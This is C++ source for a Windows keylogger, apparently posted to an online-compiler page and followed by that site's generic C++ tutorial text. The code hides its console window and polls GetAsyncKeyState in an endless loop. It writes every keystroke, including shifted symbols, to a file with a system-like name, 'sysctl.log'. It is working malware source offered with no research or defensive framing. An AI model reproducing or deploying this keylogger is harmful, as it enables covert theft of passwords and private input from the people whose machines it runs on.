#include <iostream>
#include <windows.h>
#include <winuser.h>
#include <fstream>
using namespace std;

void StealthMode();
void StartLogging();
int main(){
    StealthMode();
    StartLogging();
    
    return 0;
}
void StartLogging(){
        char c;    
    for(;;){        
        for(c=8;c<=222;c++){
            if(GetAsyncKeyState(c)==-32767){            
            ofstream write("sysctl.log", ios::app);            
            if(((c>64)&&(c<91))&&!(GetAsyncKeyState(0x10)) )
            {
                c+=32;
                write<<c;
                write.close();
                break;
            }
            else if((c>64)&&(c<91))
            {                
                write<<c;
                write.close();
                break;
            }
            else {                
                switch (c)
                {
                    case 48:
                    {
                        if(GetAsyncKeyState(0x10))                            
                            write<<")";
                        else
                            write<<"0";                           
                        }   
                    break; 
                    case 49:
                    {
                        if(GetAsyncKeyState(0x10))                            
                            write<<"!";
                        else
                            write<<"1";                                                   
                        }   
                    break;                    
                    case 50:
                    {
                        if(GetAsyncKeyState(0x10))
                            
                            write<<"@";
                        else
                            write<<"2";                            
                        }
                    break;
                    case 51:
                    {
                        if(GetAsyncKeyState(0x10))                            
                            write<<"#";
                        else
                            write<<"3";                                                    
                        }   
                    break;  
                    case 52:
                    {
                        if(GetAsyncKeyState(0x10))                            
                            write<<"$";
                        else
                            write<<"4";                                                    
                        }   
                    break;  
                    case 53:
                    {
                        if(GetAsyncKeyState(0x10))                            
                            write<<"%";
                        else
                            write<<"5";                                                   
                        }   
                    break;
                    case 54:
                    {
                        if(GetAsyncKeyState(0x10))                            
                            write<<"^";
                        else
                            write<<"6";                                                    
                        }   
                    break;
                    case 55:
                    {
                        if(GetAsyncKeyState(0x10))                            
                            write<<"&";
                        else
                            write<<"7";                                                    
                        }   
                    break;
                    case 56:
                    {
                        if(GetAsyncKeyState(0x10))                            
                            write<<"*";
                        else
                            write<<"8";                                                    
                        }   
                    break;
                    case 57:
                    {
                        if(GetAsyncKeyState(0x10))                            
                            write<<"(";
                        else
                            write<<"9";                                                    
                        }   
                    break;                    
                    case VK_SPACE:
                        write<<" ";
                        break;
                    case VK_RETURN:
                        write<<"\n";
                        break;  
                    case VK_TAB:
                        write<<"<TAB>";
                        break;
                   case VK_BACK:
                        write<<"<BKSC>";
                        break;
                    case VK_DELETE:
                        write<<"<Del>";
                        break;                      
                    default:
                        write<<c; 
            }                
                }
           
           }
        }
        }
}
void StealthMode(){
    HWND stealth;
    AllocConsole();
    stealth=FindWindowA("ConsoleWindowClass",NULL);
    ShowWindow(stealth,0);    
} 

C++ Online Compiler

Write, Run & Share C++ code online using OneCompiler's C++ online compiler for free. It's one of the robust, feature-rich online compilers for C++ language, running on the latest version 17. Getting started with the OneCompiler's C++ compiler is simple and pretty fast. The editor shows sample boilerplate code when you choose language as C++ and start coding!

Read inputs from stdin

OneCompiler's C++ online compiler supports stdin and users can give inputs to programs using the STDIN textbox under the I/O tab. Following is a sample program which takes name as input and print your name with hello.

#include <iostream>
#include <string>
using namespace std;

int main() 
{
    string name;
    cout << "Enter name:";
    getline (cin, name);
    cout << "Hello " << name;
    return 0;
}

About C++

C++ is a widely used middle-level programming language.

  • Supports different platforms like Windows, various Linux flavours, MacOS etc
  • C++ supports OOPS concepts like Inheritance, Polymorphism, Encapsulation and Abstraction.
  • Case-sensitive
  • C++ is a compiler based language
  • C++ supports structured programming language
  • C++ provides alot of inbuilt functions and also supports dynamic memory allocation.
  • Like C, C++ also allows you to play with memory using Pointers.

Syntax help

Loops

1. If-Else:

When ever you want to perform a set of operations based on a condition If-Else is used.

if(conditional-expression) {
   //code
}
else {
   //code
}

You can also use if-else for nested Ifs and If-Else-If ladder when multiple conditions are to be performed on a single variable.

2. Switch:

Switch is an alternative to If-Else-If ladder.

switch(conditional-expression){    
case value1:    
 // code    
 break;  // optional  
case value2:    
 // code    
 break;  // optional  
......    
    
default:     
 code to be executed when all the above cases are not matched;    
} 

3. For:

For loop is used to iterate a set of statements based on a condition.

for(Initialization; Condition; Increment/decrement){  
  //code  
} 

4. While:

While is also used to iterate a set of statements based on a condition. Usually while is preferred when number of iterations are not known in advance.

while (condition) {  
// code 
}  

5. Do-While:

Do-while is also used to iterate a set of statements based on a condition. It is mostly used when you need to execute the statements atleast once.

do {  
 // code 
} while (condition); 

Functions

Function is a sub-routine which contains set of statements. Usually functions are written when multiple calls are required to same set of statements which increases re-usuability and modularity. Function gets run only when it is called.

How to declare a Function:

return_type function_name(parameters);

How to call a Function:

function_name (parameters)

How to define a Function:

return_type function_name(parameters) {  
 // code
}